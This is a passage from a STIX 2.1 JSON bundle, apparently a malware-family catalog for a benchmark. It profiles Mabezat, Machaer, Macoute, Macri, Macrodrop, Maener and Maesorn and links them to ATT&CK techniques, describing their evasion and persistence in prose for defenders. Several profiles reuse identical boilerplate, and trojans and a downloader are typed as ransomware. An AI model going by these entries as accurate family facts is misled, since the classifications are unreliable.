      "spec_version": "2.1",
      "id": "relationship--6ae6f55f-320b-57de-bbce-89c40f90c062",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0eb13fa3-e027-5d9a-b2be-03115e866bf1",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lyrics exhibits technique T1543.003 (Create or Modify System Process: Windows Service (Establishing persistent adware updaters))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--255a086e-effd-57aa-89c1-dc45a35c710e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Mabezat",
      "description": "Mabezat (extensively documented in threat research and anti-malware databases as Worm:Win32/Mabezat, Virus:Win32/Mabezat.B, and W32.Mabezat) is a landmark polymorphic worm and parasitic file infector first identified in 2007. Engineered to spread aggressively across local networks, removable USB drives, and email systems, Mabezat infects Portable Executable (PE) files by appending its polymorphic malicious code to the last section of executables. In addition to executable infection, Mabezat recursively traverses local and mapped drives, searching for user documents and media files (.doc, .pdf, .xls, .jpg), encrypting them with a custom XOR/RC4 algorithm, and appending the .dlz or .chm extension. It distributes copies of itself disguised inside self-extracting RAR archives, creates autorun.inf files on removable media, and harvests email addresses from Windows Address Books to send infectious messages via direct SMTP connections. (Observed samples in benchmark: 36)",
      "is_family": true,
      "malware_types": [
        "worm"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Worm:Win32/Mabezat",
        "Virus:Win32/Mabezat.B",
        "Virus.Win32.Mabezat.b",
        "Win32/Mabezat",
        "W32.Mabezat",
        "Worm.Win32.Mabezat"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Mabezat",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/mabezat"
        }
      ],
      "labels": [
        "worm",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--004b1e09-dec6-54d7-b590-86813d2fcb7b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Machaer",
      "description": "Trojan:Win32/Machaer is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Machaer</b><br>To an end-user, a Machaer infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Machaer is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Machaer is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Machaer frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Machaer reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Machaer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/machaer"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cae540e0-0c79-5b9c-9d8f-8eb637e699c7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--004b1e09-dec6-54d7-b590-86813d2fcb7b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Machaer exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d92fea0a-81ff-5009-badf-fc91fc8008df",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--004b1e09-dec6-54d7-b590-86813d2fcb7b",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Machaer exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--35240866-dbd8-5570-a3e2-4ca3c5971ace",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--004b1e09-dec6-54d7-b590-86813d2fcb7b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Machaer exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--712d17bf-9610-59af-a5ec-f938721ce3eb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--004b1e09-dec6-54d7-b590-86813d2fcb7b",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Machaer exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9b12b3ad-7f4b-5941-894a-05308945ae99",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--004b1e09-dec6-54d7-b590-86813d2fcb7b",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Machaer exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--71a6dd9e-c569-529c-8c15-997166501102",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Macoute",
      "description": "Trojan:Win32/Macoute is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Macoute</b><br>To an end-user, a Macoute infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Macoute is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Macoute is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Macoute frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Macoute reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Macoute",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/macoute"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--62ad2bd0-605b-5aa7-8496-c94edfd805ca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--71a6dd9e-c569-529c-8c15-997166501102",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Macoute exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d1f5bd85-2e54-53a8-a76a-f669d970c53f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--71a6dd9e-c569-529c-8c15-997166501102",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Macoute exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4032cc7c-aa5a-585a-a551-5ccbbb197bdc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--71a6dd9e-c569-529c-8c15-997166501102",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Macoute exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--98f34fd9-4065-5da3-a7c3-7e189dbea55f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--71a6dd9e-c569-529c-8c15-997166501102",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Macoute exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--866b86eb-c40b-5b20-88de-506c49498f5a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--71a6dd9e-c569-529c-8c15-997166501102",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Macoute exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a3abe604-11ff-5bb5-94af-3d3716940683",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Macri",
      "description": "Macri (classified in threat databases as Ransom:Win32/Macri and Trojan-Ransom.Win32.Macri) is a targeted corporate crypto-ransomware family that encrypts files on local storage and network shares. Once executed, Macri interrogates the host environment for active debuggers and virtualization hypervisors before deploying its encryption routine. It scans all local fixed disks, removable media, and mapped network drives, identifying high-value files based on an extensive extension list covering documents, databases, spreadsheets, source code, and media archives. It locks targets using AES-256 encryption, appending .macri to filenames and dropping ransom notes titled READ_MACRI_DECRYPT.txt. Macri executes administrative shell commands to delete Volume Shadow Copies and disable startup repair. (Observed samples in benchmark: 13)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Macri",
        "Trojan-Ransom.Win32.Macri",
        "Win32/Macri",
        "Macri Ransomware",
        "Ransom.Macri"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Macri",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/macri"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5250fa85-acb0-5060-be2a-b517fa73e106",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a3abe604-11ff-5bb5-94af-3d3716940683",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Macri exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6f6e47e8-3905-5dea-81f4-deecb5193491",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a3abe604-11ff-5bb5-94af-3d3716940683",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Macri exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cb2127bc-e6db-5fe6-bb2e-663e33431e5b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a3abe604-11ff-5bb5-94af-3d3716940683",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Macri exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--382d4e0d-d141-5fa4-9e91-1926f803234f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a3abe604-11ff-5bb5-94af-3d3716940683",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Macri exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bab61beb-a2cc-53bd-a0ce-4e94cf295d9a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a3abe604-11ff-5bb5-94af-3d3716940683",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Macri exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c2de3950-528e-53b2-bad1-82a5143f1b41",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Macrodrop",
      "description": "TrojanDownloader:O97M/Macrodrop is a highly prevalent category of malware that utilizes weaponized Microsoft Office macros (VBA code) to establish an initial foothold and download secondary payloads (`T1059.005`). It is the prototypical 'first stage' for many sophisticated attacks, acting as the bridge between a phishing email and a severe system compromise.<br><br><b>Understanding Macrodrop</b><br>To an end-user, Macrodrop looks like a legitimate, but slightly broken, Word or Excel document that requests them to 'Enable Content' or 'Enable Macros' to view the full text. For a security team, Macrodrop is a critical Initial Access vector (`T1566.001`). The macro itself is not the ultimate threat; it is merely the delivery vehicle for something much worse, such as Emotet, Trickbot, or a ransomware loader.<br><br><b>Execution and Evasion Strategies</b><br>Macrodrop relies entirely on social engineering. It is distributed via massive spear-phishing campaigns. When the user clicks 'Enable Content', the embedded VBA script executes. Modern Macrodrop variants heavily obfuscate their VBA code using string concatenation, random variable names, and junk code to evade static AV scanning (`T1027`). The executed macro typically utilizes `cmd.exe` or PowerShell (`T1059.001`) to silently connect to a remote, compromised server, download the secondary executable (often heavily packed), save it to `%Temp%`, and execute it (`T1105`).<br><br><b>Indicators of Compromise (IoCs)</b><br>The primary impact is the successful download of a secondary, destructive payload. Host-based IoCs include EDR alerts for Microsoft Office applications (`WINWORD.EXE`, `EXCEL.EXE`) exhibiting anomalous behavior, specifically spawning child processes like `cmd.exe`, `powershell.exe`, `wscript.exe`, or `certutil.exe`. Network IoCs involve the Office application attempting to make outbound HTTP/HTTPS connections to unknown or recently registered domains. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Macrodrop",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/macrodrop"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--de159d86-7bea-583f-8bb8-21cd2d97f4bb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c2de3950-528e-53b2-bad1-82a5143f1b41",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Macrodrop exhibits technique T1566.001 (Phishing: Spearphishing Attachment (The primary delivery method))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0113af75-3e75-5374-b763-0d280e24d7da",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c2de3950-528e-53b2-bad1-82a5143f1b41",
      "target_ref": "attack-pattern--4a2de5a3-e5b3-59c0-9f8f-c714683837e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Macrodrop exhibits technique T1059.005 (Command and Scripting Interpreter: Visual Basic (Executing the weaponized macro))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--73df959b-6a25-5332-b2e4-40a232dcac67",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c2de3950-528e-53b2-bad1-82a5143f1b41",
      "target_ref": "attack-pattern--6991b3b3-2955-56ba-a0a0-3dadb5d30fae",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Macrodrop exhibits technique T1059.001 (Command and Scripting Interpreter: PowerShell (Often used by the macro to download the payload))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4b0de93b-b241-51b4-a430-779a2c685c12",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c2de3950-528e-53b2-bad1-82a5143f1b41",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Macrodrop exhibits technique T1105 (Ingress Tool Transfer (Downloading the secondary malware))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4f977403-6d80-50f6-81f6-3a71cf9aedd7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Maener",
      "description": "Maener (cataloged by security vendors as Trojan:Win32/Maener, Trojan.Win32.Maener, Worm:Win32/Maener, and Bindmaener) is a persistent cryptocurrency mining trojan and resource hijacker that emerged in 2017 during the peak of the Monero cryptojacking wave. Maener's primary objective is the stealthy exploitation of victim endpoint computing hardware (CPU and GPU) to mine cryptocurrencies without user consent. Deployed through multi-stage droppers (such as TrojanDropper:Win32/Bindmaener) and weaponized freeware installers, Maener injects open-source mining engines (such as XMRig derivatives) into legitimate Windows processes. To evade detection, Maener throttles mining resource usage when users become active or when Task Manager is opened, and modifies Windows Firewall rules to permit outbound stratum mining pool connections. In lateral spreading campaigns, Maener variants have exploited SMB vulnerabilities including CVE-2017-0144 (EternalBlue). (Observed samples in benchmark: 387)",
      "is_family": true,
      "malware_types": [
        "cryptominer"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Maener",
        "Trojan.Win32.Maener",
        "Worm:Win32/Maener",
        "Bindmaener",
        "Win32/Maener.Miner"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Maener",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/maener"
        }
      ],
      "labels": [
        "cryptominer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--17d4865d-b754-5812-9e93-ac03ec6be68a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4f977403-6d80-50f6-81f6-3a71cf9aedd7",
      "target_ref": "attack-pattern--bd67c8e3-94f2-57e6-a412-22872f13a8e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Maener exhibits technique T1496 (Resource Hijacking)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4136d174-6fd7-5868-aeae-c4cebe201e85",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4f977403-6d80-50f6-81f6-3a71cf9aedd7",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Maener exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--85470dfb-da3b-54c1-89d7-89b92f44335b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4f977403-6d80-50f6-81f6-3a71cf9aedd7",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Maener exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--db9331a4-4e1a-5595-8618-640dee9e1eca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4f977403-6d80-50f6-81f6-3a71cf9aedd7",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Maener exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0298142d-2c14-5e3f-ada0-e8d33aa06195",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4f977403-6d80-50f6-81f6-3a71cf9aedd7",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Maener exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--31fe6c49-1a97-53f0-a493-6b0c25a55b11",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Maesorn",
      "description": "Trojan:Win32/Maesorn is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Maesorn</b><br>To an end-user, a Maesorn infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Maesorn is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Maesorn is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Maesorn frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Maesorn reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Maesorn",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/maesorn"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1e3a5dc4-7fff-5225-85c4-8a1946712a9d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--31fe6c49-1a97-53f0-a493-6b0c25a55b11",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Maesorn exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1f2d2ef1-b2e7-5c61-8c2a-d2a01e226bfe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--31fe6c49-1a97-53f0-a493-6b0c25a55b11",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Maesorn exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3ec9b87c-ee1b-55db-b8bc-f8ad58719e40",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--31fe6c49-1a97-53f0-a493-6b0c25a55b11",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Maesorn exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cf4cbe32-1eae-5d0a-9f13-0185e4c4ba03",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--31fe6c49-1a97-53f0-a493-6b0c25a55b11",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Maesorn exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7e0ddca2-5979-55d6-82a2-f3f22b8cfb98",
      "created": "2026-01-01T00:00:00.000Z",
